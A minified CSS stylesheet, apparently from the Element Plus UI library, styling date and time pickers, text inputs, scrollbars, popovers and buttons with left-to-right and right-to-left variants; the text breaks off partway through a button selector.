.el-picker-panel__body-wrapper{position:relative}.el-date-picker .el-picker-panel__content{width:292px}.el-date-picker table{table-layout:fixed;width:100%}.el-date-picker__editor-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-picker__time-header{position:relative;border-bottom:1px solid var(--el-datepicker-inner-border-color);font-size:12px;padding:8px 5px 5px;display:table;width:100%;box-sizing:border-box}.el-date-picker__header{margin:12px;text-align:center}.el-date-picker__header--bordered{margin-bottom:0;padding-bottom:12px;border-bottom:solid 1px var(--el-border-color-lighter)}.el-date-picker__header--bordered+.el-picker-panel__content{margin-top:0}.el-date-picker__header-label{font-size:16px;font-weight:500;padding:0 5px;line-height:22px;text-align:center;cursor:pointer;color:var(--el-text-color-regular)}.el-date-picker__header-label:hover{color:var(--el-datepicker-hover-text-color)}.el-date-picker__header-label:focus-visible{outline:0;color:var(--el-datepicker-hover-text-color)}.el-date-picker__header-label.active{color:var(--el-datepicker-active-color)}[dir=ltr] .el-date-picker__prev-btn{float:left}[dir=rtl] .el-date-picker__prev-btn,[dir=ltr] .el-date-picker__next-btn{float:right}[dir=rtl] .el-date-picker__next-btn{float:left}.el-date-picker__time-wrap{padding:10px;text-align:center}.el-date-picker__time-label{cursor:pointer;line-height:30px}[dir=ltr] .el-date-picker__time-label{float:left;margin-left:10px}[dir=rtl] .el-date-picker__time-label{float:right;margin-right:10px}.el-date-picker .el-time-panel{position:absolute}.el-date-range-picker{--el-datepicker-text-color:var(--el-text-color-regular);--el-datepicker-off-text-color:var(--el-text-color-placeholder);--el-datepicker-header-text-color:var(--el-text-color-regular);--el-datepicker-icon-color:var(--el-text-color-primary);--el-datepicker-border-color:var(--el-disabled-border-color);--el-datepicker-inner-border-color:var(--el-border-color-light);--el-datepicker-inrange-bg-color:var(--el-border-color-extra-light);--el-datepicker-inrange-hover-bg-color:var(--el-border-color-extra-light);--el-datepicker-active-color:var(--el-color-primary);--el-datepicker-hover-text-color:var(--el-color-primary)}.el-date-range-picker{width:646px}.el-date-range-picker.has-sidebar{width:756px}.el-date-range-picker.has-time .el-picker-panel__body-wrapper{position:relative}.el-date-range-picker table{table-layout:fixed;width:100%}.el-date-range-picker .el-picker-panel__body{min-width:513px}.el-date-range-picker .el-picker-panel__content{margin:0}.el-date-range-picker__header{position:relative;text-align:center;height:28px}[dir=ltr] .el-date-range-picker__header [class*=arrow-left]{float:left}[dir=rtl] .el-date-range-picker__header [class*=arrow-left],[dir=ltr] .el-date-range-picker__header [class*=arrow-right]{float:right}[dir=rtl] .el-date-range-picker__header [class*=arrow-right]{float:left}.el-date-range-picker__header div{font-size:16px;font-weight:500}[dir=ltr] .el-date-range-picker__header div{margin-right:50px}[dir=rtl] .el-date-range-picker__header div{margin-left:50px}.el-date-range-picker__content{width:50%;box-sizing:border-box;margin:0;padding:16px}[dir=ltr] .el-date-range-picker__content{float:left}[dir=rtl] .el-date-range-picker__content{float:right}[dir=ltr] .el-date-range-picker__content.is-left{border-right:1px solid var(--el-datepicker-inner-border-color)}[dir=rtl] .el-date-range-picker__content.is-left{border-left:1px solid var(--el-datepicker-inner-border-color)}.el-date-range-picker__content .el-date-range-picker__header div{margin-left:50px;margin-right:50px}.el-date-range-picker__editors-wrap{box-sizing:border-box;display:table-cell}[dir=ltr] .el-date-range-picker__editors-wrap.is-right{text-align:right}[dir=rtl] .el-date-range-picker__editors-wrap.is-right{text-align:left}.el-date-range-picker__time-header{position:relative;border-bottom:1px solid var(--el-datepicker-inner-border-color);font-size:12px;padding:8px 5px 5px;display:table;width:100%;box-sizing:border-box}.el-date-range-picker__time-header>.el-icon-arrow-right{font-size:20px;vertical-align:middle;display:table-cell;color:var(--el-datepicker-icon-color)}.el-date-range-picker__time-picker-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-range-picker__time-picker-wrap .el-picker-panel{position:absolute;top:13px;z-index:1;background:#fff}[dir=ltr] .el-date-range-picker__time-picker-wrap .el-picker-panel{right:0}[dir=rtl] .el-date-range-picker__time-picker-wrap .el-picker-panel{left:0}.el-date-range-picker__time-picker-wrap .el-time-panel{position:absolute}.el-time-range-picker{width:354px;overflow:visible}.el-time-range-picker__content{position:relative;text-align:center;padding:10px;z-index:1}.el-time-range-picker__cell{box-sizing:border-box;margin:0;padding:4px 7px 7px;width:50%;display:inline-block}.el-time-range-picker__header{margin-bottom:5px;text-align:center;font-size:14px}.el-time-range-picker__body{border-radius:2px;border:1px solid var(--el-datepicker-border-color)}.el-time-panel{border-radius:2px;position:relative;width:180px;z-index:var(--el-index-top);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;box-sizing:content-box}[dir=ltr] .el-time-panel{left:0}[dir=rtl] .el-time-panel{right:0}.el-time-panel__content{font-size:0;position:relative;overflow:hidden}.el-time-panel__content:after,.el-time-panel__content:before{content:"";top:50%;position:absolute;margin-top:-16px;height:32px;z-index:-1;left:0;right:0;box-sizing:border-box;padding-top:6px}[dir=ltr] .el-time-panel__content:after,[dir=ltr] .el-time-panel__content:before{text-align:left}[dir=rtl] .el-time-panel__content:after,[dir=rtl] .el-time-panel__content:before{text-align:right}.el-time-panel__content:after{margin-left:12%;margin-right:12%}[dir=ltr] .el-time-panel__content:after{left:50%}[dir=rtl] .el-time-panel__content:after{right:50%}.el-time-panel__content:before{margin-right:12%;margin-left:12%;border-top:1px solid var(--el-border-color-light);border-bottom:1px solid var(--el-border-color-light)}[dir=ltr] .el-time-panel__content:before{padding-left:50%}[dir=rtl] .el-time-panel__content:before{padding-right:50%}[dir=ltr] .el-time-panel__content.has-seconds:after{left:66.6666666667%}[dir=rtl] .el-time-panel__content.has-seconds:after{right:66.6666666667%}[dir=ltr] .el-time-panel__content.has-seconds:before{padding-left:33.3333333333%}[dir=rtl] .el-time-panel__content.has-seconds:before{padding-right:33.3333333333%}.el-time-panel__footer{border-top:1px solid var(--el-timepicker-inner-border-color,var(--el-border-color-light));padding:4px;height:36px;line-height:25px;box-sizing:border-box}[dir=ltr] .el-time-panel__footer{text-align:right}[dir=rtl] .el-time-panel__footer{text-align:left}.el-time-panel__btn{border:none;line-height:28px;padding:0 5px;margin:0 5px;cursor:pointer;background-color:transparent;outline:0;font-size:12px;color:var(--el-text-color-primary)}.el-time-panel__btn.confirm{font-weight:800;color:var(--el-timepicker-active-color,var(--el-color-primary))}.el-textarea{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%}.el-textarea{position:relative;display:inline-block;width:100%;vertical-align:bottom;font-size:var(--el-font-size-base)}.el-textarea__inner{position:relative;display:block;resize:vertical;padding:5px 11px;line-height:1.5;box-sizing:border-box;width:100%;font-size:inherit;font-family:inherit;color:var(--el-input-text-color,var(--el-text-color-regular));background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;-webkit-appearance:none;box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));transition:var(--el-transition-box-shadow);border:none}.el-textarea__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-textarea__inner:focus{outline:0;box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-textarea .el-input__count{color:var(--el-color-info);background:var(--el-fill-color-blank);position:absolute;font-size:12px;line-height:14px;bottom:5px}[dir=ltr] .el-textarea .el-input__count{right:10px}[dir=rtl] .el-textarea .el-input__count{left:10px}.el-textarea.is-disabled .el-textarea__inner{box-shadow:0 0 0 1px var(--el-disabled-border-color) inset;background-color:var(--el-disabled-bg-color);color:var(--el-disabled-text-color);cursor:not-allowed}.el-textarea.is-disabled .el-textarea__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-exceed .el-textarea__inner{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-textarea.is-exceed .el-input__count{color:var(--el-color-danger)}.el-input{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%}.el-input{--el-input-height:var(--el-component-size);position:relative;font-size:var(--el-font-size-base);display:inline-flex;width:var(--el-input-width);line-height:var(--el-input-height);box-sizing:border-box;vertical-align:middle}.el-input::-webkit-scrollbar{z-index:11;width:6px}.el-input::-webkit-scrollbar:horizontal{height:6px}.el-input::-webkit-scrollbar-thumb{border-radius:5px;width:6px;background:var(--el-text-color-disabled)}.el-input::-webkit-scrollbar-corner{background:var(--el-fill-color-blank)}.el-input::-webkit-scrollbar-track{background:var(--el-fill-color-blank)}.el-input::-webkit-scrollbar-track-piece{background:var(--el-fill-color-blank);width:6px}.el-input .el-input__clear,.el-input .el-input__password{color:var(--el-input-icon-color);font-size:14px;cursor:pointer}.el-input .el-input__clear:hover,.el-input .el-input__password:hover{color:var(--el-input-clear-hover-color)}.el-input .el-input__count{height:100%;display:inline-flex;align-items:center;color:var(--el-color-info);font-size:12px}.el-input .el-input__count .el-input__count-inner{background:var(--el-fill-color-blank);line-height:initial;display:inline-block}[dir=ltr] .el-input .el-input__count .el-input__count-inner{padding-left:8px}[dir=rtl] .el-input .el-input__count .el-input__count-inner{padding-right:8px}.el-input__wrapper{display:inline-flex;flex-grow:1;align-items:center;justify-content:center;padding:1px 11px;background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));cursor:text;transition:var(--el-transition-box-shadow);transform:translateZ(0);box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset}.el-input__wrapper:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-input__wrapper.is-focus{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 32px) - 2px);width:100%;flex-grow:1;-webkit-appearance:none;color:var(--el-input-text-color,var(--el-text-color-regular));font-size:inherit;height:var(--el-input-inner-height);line-height:var(--el-input-inner-height);padding:0;outline:0;border:none;box-sizing:border-box}[dir=ltr] .el-input__inner{background:0 0}[dir=rtl] .el-input__inner{background:100% 0}.el-input__inner:focus{outline:0}.el-input__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner[type=password]::-ms-reveal{display:none}.el-input__inner[type=number]{line-height:1}.el-input__prefix{display:inline-flex;white-space:nowrap;flex-shrink:0;flex-wrap:nowrap;height:100%;text-align:center;color:var(--el-input-icon-color,var(--el-text-color-placeholder));transition:all var(--el-transition-duration);pointer-events:none}.el-input__prefix-inner{pointer-events:all;display:inline-flex;align-items:center;justify-content:center}[dir=ltr] .el-input__prefix-inner>:last-child{margin-right:8px}[dir=rtl] .el-input__prefix-inner>:last-child{margin-left:8px}[dir=ltr] .el-input__prefix-inner>:first-child,[dir=ltr] .el-input__prefix-inner>:first-child.el-input__icon{margin-left:0}[dir=rtl] .el-input__prefix-inner>:first-child,[dir=rtl] .el-input__prefix-inner>:first-child.el-input__icon{margin-right:0}.el-input__suffix{display:inline-flex;white-space:nowrap;flex-shrink:0;flex-wrap:nowrap;height:100%;text-align:center;color:var(--el-input-icon-color,var(--el-text-color-placeholder));transition:all var(--el-transition-duration);pointer-events:none}.el-input__suffix-inner{pointer-events:all;display:inline-flex;align-items:center;justify-content:center}[dir=ltr] .el-input__suffix-inner>:first-child{margin-left:8px}[dir=rtl] .el-input__suffix-inner>:first-child{margin-right:8px}.el-input .el-input__icon{height:inherit;line-height:inherit;display:flex;justify-content:center;align-items:center;transition:all var(--el-transition-duration)}[dir=ltr] .el-input .el-input__icon{margin-left:8px}[dir=rtl] .el-input .el-input__icon{margin-right:8px}.el-input__validateIcon{pointer-events:none}.el-input.is-active .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-color,) inset}.el-input.is-disabled{cursor:not-allowed}.el-input.is-disabled .el-input__wrapper{background-color:var(--el-disabled-bg-color);box-shadow:0 0 0 1px var(--el-disabled-border-color) inset}.el-input.is-disabled .el-input__inner{color:var(--el-disabled-text-color);-webkit-text-fill-color:var(--el-disabled-text-color);cursor:not-allowed}.el-input.is-disabled .el-input__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner::placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__icon{cursor:not-allowed}.el-input.is-exceed .el-input__wrapper{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-input.is-exceed .el-input__suffix .el-input__count{color:var(--el-color-danger)}.el-input--large{--el-input-height:var(--el-component-size-large);font-size:14px}.el-input--large .el-input__wrapper{padding:1px 15px}.el-input--large .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 40px) - 2px)}.el-input--small{--el-input-height:var(--el-component-size-small);font-size:12px}.el-input--small .el-input__wrapper{padding:1px 7px}.el-input--small .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 24px) - 2px)}.el-input-group{display:inline-flex;width:100%;align-items:stretch}.el-input-group__append,.el-input-group__prepend{background-color:var(--el-fill-color-light);color:var(--el-color-info);position:relative;display:inline-flex;align-items:center;justify-content:center;min-height:100%;border-radius:var(--el-input-border-radius);padding:0 20px;white-space:nowrap}.el-input-group__append:focus,.el-input-group__prepend:focus{outline:0}.el-input-group__append .el-button,.el-input-group__append .el-select,.el-input-group__prepend .el-button,.el-input-group__prepend .el-select{display:inline-block;margin:0 -20px}.el-input-group__append button.el-button,.el-input-group__append button.el-button:hover,.el-input-group__append div.el-select .el-select__wrapper,.el-input-group__append div.el-select:hover .el-select__wrapper,.el-input-group__prepend button.el-button,.el-input-group__prepend button.el-button:hover,.el-input-group__prepend div.el-select .el-select__wrapper,.el-input-group__prepend div.el-select:hover .el-select__wrapper{border-color:transparent;background-color:transparent;color:inherit}.el-input-group__append .el-button,.el-input-group__append .el-input,.el-input-group__prepend .el-button,.el-input-group__prepend .el-input{font-size:inherit}[dir=ltr] .el-input-group__prepend{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}[dir=rtl] .el-input-group__prepend{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:-1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}[dir=ltr] .el-input-group__append{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}[dir=rtl] .el-input-group__append{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,1px 0 0 0 var(--el-input-border-color) inset}[dir=ltr] .el-input-group--prepend>.el-input__wrapper{border-top-left-radius:0;border-bottom-left-radius:0}[dir=rtl] .el-input-group--prepend>.el-input__wrapper{border-top-right-radius:0;border-bottom-right-radius:0}[dir=ltr] .el-input-group--prepend .el-input-group__prepend .el-select .el-select__wrapper{border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}[dir=rtl] .el-input-group--prepend .el-input-group__prepend .el-select .el-select__wrapper{border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:-1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}[dir=ltr] .el-input-group--append>.el-input__wrapper{border-top-right-radius:0;border-bottom-right-radius:0}[dir=rtl] .el-input-group--append>.el-input__wrapper{border-top-left-radius:0;border-bottom-left-radius:0}[dir=ltr] .el-input-group--append .el-input-group__append .el-select .el-select__wrapper{border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}[dir=rtl] .el-input-group--append .el-input-group__append .el-select .el-select__wrapper{border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,1px 0 0 0 var(--el-input-border-color) inset}.el-scrollbar{--el-scrollbar-opacity:.3;--el-scrollbar-bg-color:var(--el-text-color-secondary);--el-scrollbar-hover-opacity:.5;--el-scrollbar-hover-bg-color:var(--el-text-color-secondary)}.el-scrollbar{overflow:hidden;position:relative;height:100%}.el-scrollbar__wrap{overflow:auto;height:100%}.el-scrollbar__wrap--hidden-default{scrollbar-width:none}.el-scrollbar__wrap--hidden-default::-webkit-scrollbar{display:none}.el-scrollbar__thumb{position:relative;display:block;width:0;height:0;cursor:pointer;border-radius:inherit;background-color:var(--el-scrollbar-bg-color,var(--el-text-color-secondary));transition:var(--el-transition-duration) background-color;opacity:var(--el-scrollbar-opacity,.3)}.el-scrollbar__thumb:hover{background-color:var(--el-scrollbar-hover-bg-color,var(--el-text-color-secondary));opacity:var(--el-scrollbar-hover-opacity,.5)}.el-scrollbar__bar{position:absolute;bottom:2px;z-index:1;border-radius:4px}[dir=ltr] .el-scrollbar__bar{right:2px}[dir=rtl] .el-scrollbar__bar{left:2px}.el-scrollbar__bar.is-vertical{width:6px;top:2px}.el-scrollbar__bar.is-vertical>div{width:100%}.el-scrollbar__bar.is-horizontal{height:6px}[dir=ltr] .el-scrollbar__bar.is-horizontal{left:2px}[dir=rtl] .el-scrollbar__bar.is-horizontal{right:2px}.el-scrollbar__bar.is-horizontal>div{height:100%}.el-scrollbar-fade-enter-active{transition:opacity .34s ease-out}.el-scrollbar-fade-leave-active{transition:opacity .12s ease-out}.el-scrollbar-fade-enter-from,.el-scrollbar-fade-leave-active{opacity:0}.el-popper{--el-popper-border-radius:var(--el-popover-border-radius, 4px)}.el-popper{position:absolute;border-radius:var(--el-popper-border-radius);padding:5px 11px;z-index:2000;font-size:12px;line-height:20px;min-width:10px;overflow-wrap:break-word;visibility:visible}.el-popper.is-dark{color:var(--el-bg-color);background:var(--el-text-color-primary);border:1px solid var(--el-text-color-primary)}.el-popper.is-dark .el-popper__arrow:before{border:1px solid var(--el-text-color-primary);background:var(--el-text-color-primary)}[dir=ltr] .el-popper.is-dark .el-popper__arrow:before{right:0}[dir=rtl] .el-popper.is-dark .el-popper__arrow:before{left:0}.el-popper.is-light{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light)}.el-popper.is-light .el-popper__arrow:before{border:1px solid var(--el-border-color-light);background:var(--el-bg-color-overlay)}[dir=ltr] .el-popper.is-light .el-popper__arrow:before{right:0}[dir=rtl] .el-popper.is-light .el-popper__arrow:before{left:0}.el-popper.is-pure{padding:0}.el-popper__arrow{position:absolute;width:10px;height:10px;z-index:-1}.el-popper__arrow:before{position:absolute;width:10px;height:10px;z-index:-1;content:" ";background:var(--el-text-color-primary);box-sizing:border-box}[dir=ltr] .el-popper__arrow:before{transform:rotate(45deg)}[dir=rtl] .el-popper__arrow:before{transform:rotate(-45deg)}.el-popper[data-popper-placement^=top]>.el-popper__arrow{bottom:-5px}[dir=ltr] .el-popper[data-popper-placement^=top]>.el-popper__arrow:before{border-bottom-right-radius:2px}[dir=rtl] .el-popper[data-popper-placement^=top]>.el-popper__arrow:before{border-bottom-left-radius:2px}.el-popper[data-popper-placement^=bottom]>.el-popper__arrow{top:-5px}[dir=ltr] .el-popper[data-popper-placement^=bottom]>.el-popper__arrow:before{border-top-left-radius:2px}[dir=rtl] .el-popper[data-popper-placement^=bottom]>.el-popper__arrow:before{border-top-right-radius:2px}[dir=ltr] .el-popper[data-popper-placement^=left]>.el-popper__arrow{right:-5px}[dir=rtl] .el-popper[data-popper-placement^=left]>.el-popper__arrow{left:-5px}[dir=ltr] .el-popper[data-popper-placement^=left]>.el-popper__arrow:before{border-top-right-radius:2px}[dir=rtl] .el-popper[data-popper-placement^=left]>.el-popper__arrow:before{border-top-left-radius:2px}[dir=ltr] .el-popper[data-popper-placement^=right]>.el-popper__arrow{left:-5px}[dir=rtl] .el-popper[data-popper-placement^=right]>.el-popper__arrow{right:-5px}[dir=ltr] .el-popper[data-popper-placement^=right]>.el-popper__arrow:before{border-bottom-left-radius:2px}[dir=rtl] .el-popper[data-popper-placement^=right]>.el-popper__arrow:before{border-bottom-right-radius:2px}.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-top-color:transparent!important}[dir=ltr] .el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent!important}[dir=rtl] .el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-right-color:transparent!important}.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent!important}[dir=ltr] .el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-right-color:transparent!important}[dir=rtl] .el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-left-color:transparent!important}.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent!important}[dir=ltr] .el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-left-color:transparent!important}[dir=rtl] .el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-right-color:transparent!important}.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-top-color:transparent!important}[dir=ltr] .el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent!important}[dir=rtl] .el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-left-color:transparent!important}.el-button{--el-button-font-weight:var(--el-font-weight-primary);--el-button-border-color:var(--el-border-color);--el-button-bg-color:var(--el-fill-color-blank);--el-button-text-color:var(--el-text-color-regular);--el-button-disabled-text-color:var(--el-disabled-text-color);--el-button-disabled-bg-color:var(--el-fill-color-blank);--el-button-disabled-border-color:var(--el-border-color-light);--el-button-divide-border-color:rgba(255, 255, 255, .5);--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-color-primary-light-9);--el-button-hover-border-color:var(--el-color-primary-light-7);--el-button-active-text-color:var(--el-button-hover-text-color);--el-button-active-border-color:var(--el-color-primary);--el-button-active-bg-color:var(--el-button-hover-bg-color);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-hover-link-text-color:var(--el-color-info);--el-button-active-color:var(--el-text-color-primary)}.el-button{display:inline-flex;justify-content:center;align-items:center;line-height:1;height:32px;white-space:nowrap;cursor:pointer;color:var(--el-button-text-color);text-align:center;box-sizing:border-box;outline:0;transition:.1s;font-weight:var(--el-button-font-weight);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;-webkit-appearance:none;background-color:var(--el-button-bg-color);border:var(--el-border);border-color:var(--el-button-border-color);padding:8px 15px;font-size:var(--el-font-size-base);border-radius:var(--el-border-radius-base)}.el-button:focus,.el-button:hover{color:var(--el-button-hover-text-color);border-color:var(--el-button-hover-border-color);background-color:var(--el-button-hover-bg-color);outline:0}.el-button:active{color:var(--el-button-active-text-color);border-color:var(--el-button-active-border-color);background-color:var(--el-button-active-bg-color);outline:0}.el-button:focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px}.el-button>span{display:inline-flex;align-items:center}[dir=ltr] .el-button+.el-button{margin-left:12px}[dir=rtl] .el-button+.el-button{margin-right:12px}.el-button.is-round{padding:8px 15px}.el-button::-moz-focus-inner{border:0}[dir=ltr] .el-button [class*=el-icon]+span{margin-left:6px}[dir=rtl] .el-button [class*=el-icon]+span{margin-right:6px}.el-button [class*=el-icon] svg{vertical-align:bottom}.el-button.is-plain{--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-fill-color-blank);--el-button-hover-border-color:var(--el-color-primary)}.el-button.is-active{color:var(--el-button-active-text-color);border-color:var(--el-button-active-border-color);background-color:var(--el-button-active-bg-color);outline:0}.el-button.is-disabled,.el-button.is-disabled:focus,.el-button.is-disabled:hover{color:var(--el-button-disabled-text-color);cursor:not-allowed;background-image:none;background-color:var(--el-button-disabled-bg-color);border-color:var(--el-button-disabled-border-color)}.el-button.is-loading{position:relative;pointer-events:none}.el-button.is-loading:before{z-index:1;pointer-events:none;content:"";position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:var(--el-mask-color-extra-light)}.el-button.is-round{border-radius:var(--el-border-radius-round)}.el-button.is-circle{width:32px;border-radius:50%;padding:8px}.el-button.is-text{color:var(--el-button-text-color);border:0 solid transparent;background-color:transparent}.el-button.is-text.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important}.el-button.is-text:not(.is-disabled):focus,.el-button.is-text:not(.is-disabled):hover{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled):focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px}.el-button.is-text:not(.is-disabled):active{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled).is-has-bg:focus,.el-button.is-text:not(.is-disabled).is-has-bg:hover{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg:active{background-color:var(--el-fill-color-dark)}.el-button__text--expand{letter-spacing:.3em}[dir=ltr] .el-button__text--expand{margin-right:-.3em}[dir=rtl] .el-button__text--expand{margin-left:-.3em}.el-button.is-link{border-color:transparent;color:var(--el-button-text-color);padding:2px;height:auto}[dir=ltr] .el-button.is-link{background:0 0}[dir=rtl] .el-button.is-link{background:100% 0}.el-button.is-link:focus,.el-button.is-link:hover{color:var(--el-button-hover-link-text-color)}.el-button.is-link.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important;border-color:transparent!important}.el-button.is-link:not(.is-disabled):focus,.el-button.is-link:not(.is-disabled):hover{border-color:transparent;background-color:transparent}.el-button.is-link:not(.is-disabled):active{color:var(--el-button-active-color);border-color:transparent;background-color:transparent}.el-button--text{border-color:transparent;color:var(--el-color-primary);padding-left:0;padding-right:0}[dir=ltr] .el-button--text{background:0 0}[dir=rtl] .el-button--text{background:100% 0}.el-button--text.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important;border-color:transparent!important}.el-button--text:not(.is-disabled):focus,.el-button--text:not(.is-disabled):hover{color:var(--el-color-primary-light-3);border-color:transparent;background-color:transparent}.el-button--text:not(.is-disabled):active{color:var(--el-color-primary-dark-2);border-color:transparent;background-color:transparent}.el-button__link--expand{letter-spacing:.3em}[dir=ltr] .el-button__link--expand{margin-right:-.3em}[dir=rtl] .el-button__link--expand{margin-left:-.3em}.el-button--primary{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-primary);--el-button-border-color:var(--el-color-primary);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-active-color:var(--el-color-primary-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-primary-light-5);--el-button-hover-bg-color:var(--el-color-primary-light-3);--el-button-hover-border-color:var(--el-color-primary-light-3);--el-button-active-bg-color:var(--el-color-primary-dark-2);--el-button-active-border-color:var(--el-color-primary-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-primary-light-5);--el-button-disabled-border-color:var(--el-color-primary-light-5)}.el-button--primary.is-link,.el-button--primary.is-plain,.el-button--primary.is-text{--el-button-text-color:var(--el-color-primary);--el-button-bg-color:var(--el-color-primary-light-9);--el-button-border-color:var(--el-color-primary-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-primary);--el-button-hover-border-color:var(--el-color-primary);--el-button-active-text-color:var(--el-color-white)}.el-button--primary.is-link.is-disabled,.el-button--primary.is-link.is-disabled:active,.el-button--primary.is-link.is-disabled:focus,.el-button--primary.is-link.is-disabled:hover,.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:active,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:hover,.el-button--p